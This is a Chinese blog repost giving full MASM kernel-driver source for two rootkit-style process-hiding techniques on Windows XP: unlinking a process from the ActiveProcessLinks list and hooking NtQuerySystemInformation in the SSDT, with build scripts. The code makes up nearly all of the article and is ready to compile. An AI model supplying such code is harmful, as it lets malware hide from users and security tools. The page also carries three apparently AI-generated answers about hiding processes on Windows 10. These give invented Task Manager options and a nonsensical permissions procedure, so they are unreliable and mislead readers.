进程隐藏的两种方法

进程隐藏的两种方法

                                      

 

作者:dge
                              进程隐藏的两种方法
这两种都是很古老的方法,因为无聊,所以写了一下。代码在XP_SP2下调试通过.

(1).从活动进程链表(ActiveProcessLinks)中摘除自身,这种方法可以欺骗任务管理器,
下面这个程序做的就是双向链表的删除节点和插入节点,十分的简单。


;@echo off
;goto make

;----------------------------------------------------------------------------------------------------
.386
.model flat, stdcall
option casemap:none
;----------------------------------------------------------------------------------------------------
;                                 I N C L U D E   F I L E S                                       
;----------------------------------------------------------------------------------------------------
include d:/masm32/include/w2k/ntstatus.inc
include d:/masm32/include/w2k/ntddk.inc
include d:/masm32/include/w2k/ntoskrnl.inc
include d:/masm32/include/w2k/w2kundoc.inc
includelib d:/masm32/lib/w2k/ntoskrnl.lib
include d:/masm32/Macros/Strings.mac

_DriverUnload proto :PDRIVER_OBJECT
_DispatchControlIo proto :PDEVICE_OBJECT,:PIRP

;----------------------------------------------------------------------------------------------------
;                                 C O N S T A N T S                                            
;----------------------------------------------------------------------------------------------------

.const
CCOUNTED_UNICODE_STRING "//Device//devHideprocess", g_usDeviceName, 4
CCOUNTED_UNICODE_STRING "//??//slHideprocess", g_usSymbolicLinkName, 4   
 
.data
szHide                  db   'explorer.exe',0
Flink                   dd   ?
Blink                   dd   ? 
Explorer                dd   ?
;----------------------------------------------------------------------------------------------------
;                                 C O D E                                 
;----------------------------------------------------------------------------------------------------

.code

DriverEntry proc uses ebx edi esi, pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
 local status:NTSTATUS
 local pDeviceObject:PDEVICE_OBJECT
 local   dwId,lpEprocess
        local   ListOffset,NameOffset
 local   IdOffset
 local   Version
        
;       int 3
; invoke DbgPrint,$CTA0("/n/nEntry  DriverEntry/n/n")
 mov status,STATUS_DEVICE_CONFIGURATION_ERROR

 invoke IoCreateDevice,pDriverObject,0,addr g_usDeviceName,FILE_DEVICE_UNKNOWN,0,FALSE,addr pDeviceObject
 .if     eax==STATUS_SUCCESS
         mov eax,pDriverObject
  assume eax:ptr DRIVER_OBJECT
  mov [eax].DriverUnload,  offset _DriverUnload
  assume eax:nothing
  ;获得得系统版本
  invoke  PsGetVersion,NULL,addr Version,NULL,NULL     
                mov     eax,Version
  cmp     eax,0
  jne     l1
  mov     ListOffset,0A0h
  mov     NameOffset,1fch
  jmp     l2
        l1:     cmp     eax,1
         jne     exit
  mov     ListOffset,88h
  mov     NameOffset,174h
        l2:     invoke  PsGetCurrentProcessId
         mov     dwId,eax
         invoke  PsLookupProcessByProcessId,dwId,addr lpEprocess
  mov     esi,lpEprocess
  add     esi,ListOffset
  mov     edi,esi
                assume  edi:PLIST_ENTRY
         assume  esi:PLIST_ENTRY   
        l3:     mov     edx,[esi].Flink
         ;比较是否为最后一个EPROCESS
                cmp     edx,edi                                      
  je      l4
  assume  esi:nothing
  sub     esi,ListOffset
  add     esi,NameOffset
  invoke  strcmp,esi,addr szHide
  .if     eax == 0
          sub     esi,NameOffset
          add     esi,ListOffset   
          mov     Explorer,esi
   assume  esi:PLIST_ENTRY
   assume  ebx:PLIST_ENTRY
   assume  eax:PLIST_ENTRY
                        ;删除节点
   mov     eax,[esi].Flink            
   mov     ebx,[esi].Blink
   mov     [ebx].Flink,eax
   mov     [eax].Blink,ebx
   mov     Flink,eax
   mov     Blink,ebx
   assume  eax:nothing
   assume  ebx:nothing
    
   invoke DbgPrint,$CTA0("/n/n************hide process successful ***********/n/n")
   jmp     l4
                .endif
  ;恢复EPROCESS指针
                sub     esi,NameOffset                                  
                add     esi,ListOffset                 
                assume  esi:PLIST_ENTRY
                mov     esi,[esi].Flink
                jmp     l3
l4:  
         assume  esi:nothing
                assume  edi:nothing                
                mov     status,STATUS_SUCCESS      
exit:      
 .endif
 mov     eax,status
 ret
        mov     eax,STATUS_DEVICE_CONFIGURATION_ERROR
        ret
DriverEntry endp

;----------------------------------------------------------------------------------------------------
;                                 D R I V E R U N L O A D                                          
;----------------------------------------------------------------------------------------------------

_DriverUnload proc pDriverObject:PDRIVER_OBJECT

;       int 3
; invoke DbgPrint,$CTA0("/n/nEntry DriverUnload/n/n")
        pushad

        mov     eax,Flink
 mov     ebx,Explorer
 assume  ebx:PLIST_ENTRY
 assume  eax:PLIST_ENTRY
 ;恢复被摘除的节点
 mov     [eax].Blink,ebx                                             
 mov     [ebx].Flink,eax

 mov     eax,Blink
 mov     [eax].Flink,ebx
 mov     [ebx].Blink,eax
 
 popad
 ;清除符号连接
 invoke IoDeleteSymbolicLink,addr g_usSymbolicLinkName                
 mov eax, pDriverObject   
 ;删除在初始化创建的设备
 invoke IoDeleteDevice,(DRIVER_OBJECT PTR [eax]).DeviceObject
 
 ret

_DriverUnload endp
;----------------------------------------------------------------------------------------------------
;                                 E N D                                          
;----------------------------------------------------------------------------------------------------
             
end DriverEntry


:make

set path=%path%;d:/masm32/bin
set drv=hideprocess
ml /nologo /c /coff %drv%.bat
link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj
del %drv%.obj
echo.
pause

 

;****************************************************************************************************


(2).如果你反汇编taskmgr.exe,可以在发现taskmgr.exe是通过NtQuerySystemInformation枚举进程的,
因此可以通过挂钩系统服务NtQuerySystemInformation修改这个函数的行为,从而实现在任务管理器中隐藏进程的目的,下面就是实现代码。
 
;@echo off
;goto make

.386
.model flat, stdcall
option casemap:none
;----------------------------------------------------------------------------------------------------
;                                 I N C L U D E   F I L E S                                       
;----------------------------------------------------------------------------------------------------

include d:/masm32/include/w2k/ntstatus.inc
include d:/masm32/include/w2k/ntddk.inc
include d:/masm32/include/w2k/native.inc
include d:/masm32/include/w2k/ntoskrnl.inc
includelib d:/masm32/lib/w2k/ntoskrnl.lib
include d:/masm32/Macros/Strings.mac
;----------------------------------------------------------------------------------------------------
;                                 D A T A                                          
;----------------------------------------------------------------------------------------------------
.data
;保存地址
dwOldNtQuerySystemInformation  dd            ?
dwAddr                         dd            ?
;----------------------------------------------------------------------------------------------------
;                                 C O N S T A N T S                                            
;----------------------------------------------------------------------------------------------------
.const
CCOUNTED_UNICODE_STRING "//Device//devHideprocess", g_usDeviceName, 4
CCOUNTED_UNICODE_STRING "//??//slHideprocess", g_usSymbolicLinkName, 4
CCOUNTED_UNICODE_STRING "explorer.exe", processname, 4
;----------------------------------------------------------------------------------------------------
;                                 C O D E                                 
;----------------------------------------------------------------------------------------------------
.code

NewNtQuerySystemInformation     proc  SysInfoClass,lpSysInfo,SysInfoL,Return
                     
                    invoke NtQuerySystemInformation,SysInfoClass,lpSysInfo,SysInfoL,Return
                    pushad   
      test eax,eax
      jnz   exit
      .if    SysInfoClass == SystemProcessesAndThreadsInformation
             mov     esi,lpSysInfo
      mov     ebx,esi
             add     esi,[esi]                                     
     
         @@:               add     esi,38h                                        ;在38h偏移处取得进程名字。
                           invoke  RtlCompareUnicodeString,addr processname, esi, 1

      .if    eax== 0
             invoke DbgPrint, $CTA0("/nsuccessful /n")
             .if    dword ptr[esi-38h] == 0
             mov dword ptr[ebx],0
      jmp    exit
             .else    
             sub    esi,38h
             mov    edx,[esi]
                                         add    [ebx],edx
 
                                         add    esi,[esi]
             jmp    @B
                                  .endif
             .else
                                  sub    esi,38h
             cmp    dword ptr[esi],0
             jz     exit
             mov    ebx,esi
                                  add    esi,[esi]
      jmp    @B
             .endif        
      .endif
                
  exit:      popad

                    ret

NewNtQuerySystemInformation    endp

;----------------------------------------------------------------------------------------------------
;                                 H O O K F U N C                                         
;----------------------------------------------------------------------------------------------------
HookFunction        proc

                    pushad
;      int 3
;      invoke DbgPrint, $CTA0("/nEntry into hoookfunction/n")
                    ;下面是用KeServiceDescriptorTabled导出符号获得数组的基地址,这个数组中包含有NtXXXX函数的入口地址。
      mov eax, [KeServiceDescriptorTable]
             mov esi, [eax]
      mov esi, [esi]
                    ;下面五句为获取ZwQuerySystemInformation的地址
      mov eax,ZwQuerySystemInformation
      inc eax
      inc eax
      mov eax,[eax]
      mov eax,[eax]
      inc eax
      movzx ecx,byte ptr[eax]
      sal ecx,2                  
      add esi,ecx
      mov dwAddr,esi
      mov edi,dword ptr[esi]
      ;保存旧的函数地址。
      mov dwOldNtQuerySystemInformation,edi
                    mov edi,offset NewNtQuerySystemInformation
      ;修改入口地址
      cli
      mov dword ptr[esi],edi
      sti
      popad
                    mov eax, STATUS_SUCCESS

      ret

HookFunction     endp

;----------------------------------------------------------------------------------------------------
;                                 DriverUnload                                          
;----------------------------------------------------------------------------------------------------                               
DriverUnload        proc pDriverObject:PDRIVER_OBJECT
;必须保存环境,否则后果很严重。在这个函数中恢复被修改的地址。
 
                   pushad
;             int 3
;                   invoke DbgPrint, $CTA0("/nEntry into DriverUnload /n")
                    mov esi,dwAddr
             mov eax,dwOldNtQuerySystemInformation
                    cli
             mov dword ptr[esi],eax
             sti
                    invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName
             mov eax,pDriverObject
             invoke IoDeleteDevice, (DRIVER_OBJECT PTR [eax]).DeviceObject             
             popad

             ret

DriverUnload endp

;----------------------------------------------------------------------------------------------------
;                                 D R I V E R E N T R Y                                          
;----------------------------------------------------------------------------------------------------
DriverEntry         proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
                    local status:NTSTATUS
      local pDeviceObject:PDEVICE_OBJECT

;                   int 3
;             invoke DbgPrint, $CTA0("/nEntry into DriverEntry/n")
             mov status, STATUS_DEVICE_CONFIGURATION_ERROR
                    invoke IoCreateDevice, pDriverObject, 0, addr g_usDeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, addr pDeviceObject
             .if    eax == STATUS_SUCCESS
      mov eax, pDriverObject
      assume eax:ptr DRIVER_OBJECT
      mov [eax].DriverUnload,  offset DriverUnload
                    assume eax:nothing
                           invoke HookFunction       
      mov status, STATUS_SUCCESS
             .endif
             mov eax, status

             ret

DriverEntry         endp

end DriverEntry

;----------------------------------------------------------------------------------------------------
;                                 E N D                                         
;----------------------------------------------------------------------------------------------------

:make

set drv=hideprocess

d:/masm32/bin/ml /nologo /c /coff %drv%.bat
d:/masm32/bin/link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj

del %drv%.obj

echo.
pause


参考:

(1) Windows2000 内核级进程隐藏、侦测技术 
(2) A portable Win32 userland rootkit   

 

引自:  http://llf6.bokee.com/5898765.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Win10隐藏进程方法有多种,以下是其中几种比较常用的方法: 1. 使用任务管理器。按下“Ctrl+Shift+Esc”组合键打开任务管理器,在“进程”选项卡中找到需要隐藏进程,右键点击选择“详细信息”,在打开的“详细信息”窗口中单击“隐藏”即可隐藏进程。 2. 使用命令行。打开命令提示符窗口,输入“taskkill /f /im 进程名.exe”命令,即可结束该进程隐藏它。 3. 使用第三方软件。有些第三方软件可以帮助用户隐藏进程,如“Process Hacker”、“Process Explorer”等,使用这些软件可以更加便捷地隐藏进程。 需要注意的是,隐藏进程并不是一个常规的操作,一般只有在特殊情况下才需要使用。同时,隐蔽进程可能会引起一些意料之外的问题,如系统不稳定、病毒入侵等,因此在操作之前一定要谨慎。 ### 回答2: Win10隐藏进程方法如下: 1.按下“Ctrl + Alt + Del”组合键,打开任务管理器。 2.在任务管理器中,点击“详细信息”选项卡,展开所有正在运行的进程。 3.在列表中找到需要隐藏进程,右击它,选择“打开文件位置”。 4.在打开的文件夹中,找到这个进程的可执行文件(通常是.exe文件),右键点击该文件,选择“属性”。 5.在文件属性对话框中,选择“安全”选项卡,然后点击“高级”按钮。 6.在高级安全设置对话框中,选择“禁止继承权限”选项,并选择“转移所有权”选项。 7.在打开的对话框中,选择当前用户或管理员账户,勾选“替换所❤有子容器和对象的所有权限项”。 8.确认设置后,点击“确定”按钮并关闭对话框。 9.返回到任务管理器中,刷新进程列表,该进程即被隐藏。 值得注意的是,隐藏进程可能涉及到系统安全和稳定性问题,请谨慎使用。一旦隐藏进程对系统产生危害,可能会导致一系列问题产生。如果不熟悉相关知识,最好不要私自修改系统文件。 ### 回答3: Win10隐藏进程方法有多种,以下介绍其中两种比较常见的方法。 一、使用任务管理器 1. 打开任务管理器:按下"Ctrl+Shift+Esc"组合键或者右键任务栏空白处,选择“任务管理器”。 2. 切换到“详细信息”选项卡:如果没有“详细信息”选项卡,可以点击“展开”或者“更多详情”。 3. 找到要隐藏进程:在进程列表中找到要隐藏进程,右键点击该进程,选择“打开文件位置”。 4. 隐藏进程:在弹出的文件夹窗口中,选中该进程的可执行文件,右键点击该文件,选择“属性”->“安全”->“高级”。 5. 更改文件所有者:在“高级安全设置”窗口中,点击“更改”按钮,输入你的用户名并点击“检查名称”和“确定”。 6. 更改文件权限:在“高级安全设置”窗口中,点击“确认”按钮,在“权限”选项卡中,选择你的用户名,然后点击“编辑”按钮。 7. 隐藏文件:在“编辑”权限窗口中,将“读取和执行”、“读取”、“写入”、“创建文件夹/添加数据”权限都勾选上,然后将“删除”、“更改权限”、“取得所有权”权限都取消勾选,点击“确定”。 二、使用第三方工具 Win10隐藏进程的另外一种方法是使用第三方工具,比如Process Hacker、Process Explorer等工具。这些工具可以隐藏进程、服务和驱动程序,常用于保护系统安全、保密性和操作隐私等方面。 总之,Win10隐藏进程方法有很多,通过运用不同的技巧和工具,可以实现多种层次的进程隐藏,提高系统安全和保密性。但是需要注意的是,若因不当使用或其他原因导致系统出现故障,后果自负。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值